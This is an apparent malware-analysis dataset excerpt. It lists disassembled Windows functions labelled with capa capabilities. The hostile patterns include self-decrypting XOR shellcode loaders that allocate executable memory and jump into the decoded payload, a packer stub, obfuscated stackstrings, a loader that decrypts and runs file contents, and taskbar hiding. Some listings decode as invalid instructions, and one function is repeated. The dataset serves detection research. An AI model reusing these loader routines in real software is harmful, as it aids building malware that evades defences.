joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405bd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [ebx - 0x6fb43], al
inc dword [edx]
jne 0x405bfe
and byte [ebp - 0x79c], 0
and byte [ebp - 0x79b], 0
mov byte [ebp - 0x79a], 0x10
and byte [ebp - 0x799], 0
mov byte [ebp - 0x798], 0xb3
mov byte [ebp - 0x797], 0x8c
mov byte [ebp - 0x796], 0x80
mov byte [ebp - 0x795], 0x81
mov byte [ebp - 0x794], 0x9d
mov byte [ebp - 0x793], 0x8a
mov byte [ebp - 0x792], 0x9c
mov byte [ebp - 0x791], 0xc1
mov byte [ebp - 0x790], 0x8b
mov byte [ebp - 0x78f], 0x83
mov byte [ebp - 0x78e], 0x83
mov byte [ebp - 0x78d], 0xef
call fcn.00403f15
xchg ecx, eax
jg 0x405bc0
jecxz 0x405bc1
invalid
call dword [ecx + 0x6ad8fa7f]
or al, 0x8d
test dword [eax + edi*8 - 1], esp
call dword [eax - 0x18]
invalid
push eax
jecxz 0x405bd3
fsubr dword [edx + 0xc]
lea eax, [ebp - 0x79c]
push eax
invalid
call [ecx + 0x50]
cmp dword [ebp - 0x6fc], 3
jne 0x405c9f
and byte [ebp - 0x7ac], 0
and byte [ebp - 0x7ab], 0
mov byte [ebp - 0x7aa], 0xed
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
mov byte [ebp - 0x7a4], 0x21
mov byte [ebp - 0x7a3], 0x20
mov byte [ebp - 0x7a2], 0x3c
mov byte [ebp - 0x7a1], 0x76
mov byte [ebp - 0x7a0], 0x7e
mov byte [ebp - 0x79f], 0x7e
mov byte [ebp - 0x79e], 0x12
push 0xb
lea eax, [ebp - 0x7ac]
push eax
call fcn.00403f25
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00403e86
add esp, 0xc
jmp 0x405e8d
cmp dword [ebp - 0x6fc], 4
jne 0x405d49
and byte [ebp - 0x7bc], 0
and byte [ebp - 0x7bb], 0
mov byte [ebp - 0x7ba], 2
and byte [ebp - 0x7b9], 0
mov byte [ebp - 0x7b8], 0xa1
mov byte [ebp - 0x7b7], 0xb2
mov byte [ebp - 0x7b6], 0xb1
mov byte [ebp - 0x7b5], 0xb8
mov byte [ebp - 0x7b4], 0xcf
mov byte [ebp - 0x7b3], 0xce
mov byte [ebp - 0x7b2], 0xd3
mov byte [ebp - 0x7b1], 0x99
mov byte [ebp - 0x7b0], 0x91
mov byte [ebp - 0x7af], 0x91
mov byte [ebp - 0x7ae], 0xfd
call fcn.00403f15
mov ch, 0xcd
add byte [0x858d0b6a], bl
inc esp
clc
invalid
cmp dword [ebp - 0x6fc], 5
jne 0x405dea
and byte [ebp - 0x7cc], 0
and byte [ebp - 0x7cb], 0
mov byte [ebp - 0x7ca], 0x3f
and byte [ebp - 0x7c9], 0
mov byte [ebp - 0x7c8], 0x9c
mov byte [ebp - 0x7c7], 0x90
mov byte [ebp - 0x7c6], 0x93
mov byte [ebp - 0x7c5], 0x81
mov byte [ebp - 0x7c4], 0x90
mov byte [ebp - 0x7c3], 0xac
mov byte [ebp - 0x7c2], 0xee
mov byte [ebp - 0x7c1], 0xa4
mov byte [ebp - 0x7c0], 0xac
mov byte [ebp - 0x7bf], 0xac
mov byte [ebp - 0x7be], 0xc0
push 0xb
lea eax, [ebp - 0x7cc]
push eax
call fcn.00403f25
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00403e86
add esp, 0xc
jmp 0x405e8d
cmp dword [ebp - 0x6fc], 6
jne 0x405e88
and byte [ebp - 0x7dc], 0
and byte [ebp - 0x7db], 0
mov byte [ebp - 0x7da], 0x11
and byte [ebp - 0x7d9], 0
mov byte [ebp - 0x7d8], 0xb2
mov byte [ebp - 0x7d7], 0x8b
mov byte [ebp - 0x7d6], 0x9c
mov byte [ebp - 0x7d5], 0x9c
mov byte [ebp - 0x7d4], 0x81
jmp 0x405fbb
Function at 0x409ed0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push ebx
push 0
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
call sub.VCRUNTIME140.dll_memset
mov esi, edi
mov dword [ebp - 4], 0
add esp, 0xc
neg esi
nop dword [eax]
mov ecx, edi
mov edi, ebx
mov ebx, dword [ebp - 0xc]
lea eax, [ecx + esi]
xor edx, edx
div dword [ebp - 8]
lea ecx, [ecx + 1]
mov al, byte [edx + ebx]
xor byte [ecx - 1], al
sub edi, 1
jne 0x409f07
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
add eax, ebx
mov edi, dword [ebp + 8]
add esi, ebx
mov dword [ebp - 4], eax
cmp eax, dword [ebp - 8]
jb 0x409f00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40abe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x443655], 0
push ebx
push esi
mov ebx, ecx
mov esi, 0x18
jne 0x40ac3b
mov byte [0x443655], 1
xor esi, esi
push edi
mov eax, esi
mov edi, 8
shl eax, 0x18
nop word [eax + eax]
lea edx, [eax + eax]
mov ecx, edx
xor ecx, 0x8001801b
test eax, eax
cmovns ecx, edx
mov eax, ecx
sub edi, 1
jne 0x40ac10
mov dword [esi*4 + 0x443658], eax
inc esi
cmp esi, 0x100
jl 0x40ac00
lea esi, [edi + 0x18]
pop edi
xor edx, edx
nop dword [eax]
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x443658]
sub esi, 1
jne 0x40ac40
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b765
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41b7a4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b7a4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b7a4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41b7a4
cmp dword [ecx + 0x74], 0xe
jbe 0x41b7a4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000f79e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1000f7ad
pop dword [ebp - 4]
mov eax, 0x1000f7ad
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x3fcdc
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x4646
mov edx, eax
mov edi, 0xbcfe0f4c
sub edi, 0xacf9634c
add edi, dword [ebp - 4]
mov esi, 0xca8798d7
sub esi, 0x6276965a
mov ebx, dword [edi]
xor ebx, esi
mov dword [edx], ebx
add edx, 0xf83e81e6
sub edx, 0xf83e81e2
add edi, 0x4fa10074
add edi, 0xb05eff90
loop 0x1000f7fc
add eax, 0x9a7e2c3f
sub eax, 0x9a7d2054
xor ebx, ebx
add ebx, eax
add eax, 0xc72a6629
add eax, 0x38d599dc
mov ecx, 0x675c2aff
sub ecx, 0x575c2aff
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x100123e7
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002d2cf
call fcn.10016fd1
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.1000f79e
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x10012492
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1000f79e
mov ecx, dword [esi]
test al, al
je 0x10012474
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000f79e
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x1001248b
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.1000f79e
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009bb3
cmp dword [ebx + 0x24], 0
je 0x100124b2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1000f79e
test al, al
je 0x100124b2
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016f9a
ret
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x6b
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0
mov eax, dword [0x10002014]
mov dword [ebp - 0x14], eax
mov cx, word [0x10002018]
mov word [ebp - 0x10], cx
mov byte [0x1000300d], 0
mov byte [0x1000301a], 0
mov byte [0x10003026], 0
mov byte [0x10003032], 0
mov byte [0x10003044], 0
mov byte [0x10003051], 0
mov byte [0x10003065], 0
mov byte [0x10003073], 0
mov byte [0x10003081], 0
mov byte [0x1000308e], 0
mov byte [0x100030a1], 0
mov byte [0x100030aa], 0
push 0x100030a2
push 0x1000201c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x10003066
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 1
push 0
push 0
lea edx, [ebp - 0x12]
push edx
push 0
push 0
call dword [ebp - 0x20]
push 0x10003027
push 0x10002050
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x1000300e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x2c]
push eax
call dword [ebp - 8]
mov dword [0x100030b0], eax
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x18]
mov dword [0x100030ac], eax
push 0
push 0x100030bc
push 0x1000
mov ecx, dword [0x100030ac]
push ecx
mov edx, dword [0x100030b0]
push edx
call dword [ebp - 0xc]
mov eax, dword [0x100030ac]
mov cl, byte [eax]
mov byte [0x100030b4], cl
mov dword [ebp - 4], 0x42
movzx edx, byte [0x100030b4]
xor edx, 0x4e
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0
jmp 0x1000119a
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [0x100030bc]
jae 0x100011c4
mov edx, dword [0x100030ac]
add edx, dword [ebp - 0x30]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x1c]
add eax, dword [ebp - 4]
mov ecx, dword [0x100030ac]
add ecx, dword [ebp - 0x30]
mov byte [ecx], al
jmp 0x10001191
call dword [0x100030ac]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10008245
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10008254
pop dword [ebp - 0x1c]
mov eax, 0xf32f8680
add eax, 0x1cd0fbd4
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfd44f706
sub dword [ebp - 0x2c], 0xaef2b1bb
mov dword [ebp - 0x28], 0x331c3be
sub dword [ebp - 0x28], 0xd0fe7779
mov dword [ebp - 0x24], 0xa2e9a13e
add dword [ebp - 0x24], 0xa962a2f0
mov dword [ebp - 0x20], 0xc80326a4
sub dword [ebp - 0x20], 0xc80326a4
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xc765716
sub eax, 0xfc74b70e
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x184948bb
add dword [ebp - 0x2c], 0x5c29209b
mov dword [ebp - 0x28], 0x5482248e
sub dword [ebp - 0x28], 0x1315c319
mov dword [ebp - 0x24], 0xd7ca0869
sub dword [ebp - 0x24], 0x745a9bfd
mov dword [ebp - 0x20], 0x7599635c
add dword [ebp - 0x20], 0x8a669ca4
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3bcc9
push 0
call eax
mov ecx, 0x4e07
xor edx, edx
add edx, eax
mov ebx, 0xbfd9841
add ebx, 0x404b1bf
add ebx, dword [ebp - 0x1c]
mov esi, 0x9daf2815
xor dword [ebp - 0x18], 0xd0e4a1ad
mov edi, dword [ebx]
xor dword [ebp - 8], edx
add edi, esi
mov dword [ebp - 0x18], 0x1a35bcac
mov dword [edx], edi
add dword [ebp - 0x10], edi
add edx, 0x96e29008
add edx, 0x691d6ffc
add ebx, 4
loop 0x10008367
add eax, 0x232105b3
sub eax, 0x231fdac4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xbbcaebb6
add ecx, 0x5435144a
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401639
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
call fcn.0040197f
push 0
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.00401e70
push 0
push 0x10
push dword [ebp + 8]
call fcn.00401e70
mov dword [ebp - 0x44], 0x44
push dword [ebp + 8]
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 0xc]
push 0
call sub.kernel32.dll_CreateProcessA
or eax, eax
jne 0x401695
push 0
push 0x10
push dword [ebp + 8]
call fcn.00401e70
xor eax, eax
jmp 0x40169a
mov eax, 1
leave
ret 8

Function at 0x401714
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], 1
push dword [ebp - 4]
push str.COM_u
push 0x4132dc
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x2000
push 0x4152dc
push 0x4132dc
call sub.kernel32.dll_QueryDosDeviceA
or eax, eax
je 0x40177d
push 0x4132dc
call fcn.0040180f
cmp eax, 0xffffffff
je 0x40177d
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp - 8]
call fcn.0040178d
or eax, eax
je 0x401775
mov eax, dword [ebp - 8]
jmp 0x40178b
push dword [ebp - 8]
call fcn.00401868
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x20
jle 0x401721
mov eax, 0xffffffff
leave
ret

Function at 0x40178d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov byte [ebp - 1], 0
push 0
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_ReadFile
mov cl, byte [ebp - 1]
or eax, eax
je 0x4017eb
cmp cl, 4
jae 0x4017eb
cmp dword [ebp - 8], 1
jne 0x4017eb
movzx eax, cl
and eax, 1
xor eax, 1
cmp dword [ebp + 0xc], 0
je 0x4017d1
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
movzx eax, cl
shr eax, 1
xor eax, 1
cmp dword [ebp + 0x10], 0
je 0x4017e4
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, 1
jmp 0x40180b
cmp dword [ebp + 0xc], 0
je 0x4017fa
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
cmp dword [ebp + 0x10], 0
je 0x401809
mov edx, dword [ebp + 0x10]
mov dword [edx], 0
xor eax, eax
leave
ret 0xc

Function at 0x40192d
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push str.Shell_TrayWnd
call sub.user32.dll_FindWindowA
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.user32.dll_ShowWindow
push dword [ebp - 4]
call sub.user32.dll_UpdateWindow
leave
ret

Function at 0x401956
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push str.Shell_TrayWnd
call sub.user32.dll_FindWindowA
mov dword [ebp - 4], eax
push 5
push dword [ebp - 4]
call sub.user32.dll_ShowWindow
push dword [ebp - 4]
call sub.user32.dll_UpdateWindow
leave
ret
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000cd63
pop dword [ebp - 0x24]
mov eax, 0xa60936ba
add eax, 0x69f796a9
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3527b
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x4f38fb53
add ecx, 0xb0c73d42
mov esi, eax
mov edx, 0x10018600
add edx, dword [ebp - 0x24]
mov edi, 0x263e1c63
xor dword [ebp - 8], 0x7f43f721
mov ebx, dword [edx]
xor dword [ebp - 0x10], edx
xor ebx, edi
mov dword [esi], ebx
add dword [ebp - 0x20], 0x1d216418
add esi, 0x1f0d2ada
add esi, 0xe0f2d52a
add edx, 0x3cde552d
sub edx, 0x3cde5529
loop 0x1000cdb1
add eax, 0xda8dff57
sub eax, 0xda8d2a30
xor ebx, ebx
add ebx, eax
add eax, 0x8f2c7a8d
add eax, 0x70d38578
mov ecx, 0xeb70814a
sub ecx, 0xdb70814a
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
nop
mov ecx, 0x241247c7
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x75286577
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x403254
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x45a020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4032ec
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4032cc
xor eax, eax
push ebp
push 0x4032c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403308
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4032cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x45a020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x45a020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403f98
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x45c048], 0
je 0x403ff9
cmp word [0x45c21c], 0xd7b2
jne 0x403fc1
cmp dword [0x45c224], 0
jbe 0x403fc1
mov eax, 0x45c218
call dword [0x45c234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45a06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404020
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x45a030], 0
jne 0x404015
push 0
push 0x45a064
push 0x45a06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405374
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4055a4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4053f7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4055a4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4053f7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4055c0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405480
xor eax, eax
push ebp
push 0x405479
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004051bc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40545e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4055e0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40545e
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405480
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40559a
cmp byte [ebp - 0xd], 0
jne 0x4054c7
cmp byte [ebp - 0x12], 0
je 0x40559a
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4054e0
dec ebx
cmp byte [ebx], 0x2e
je 0x4054ef
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4054df
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40559a
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40552c
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40559a
cmp byte [ebp - 0xd], 0
je 0x40559a
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40559a
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret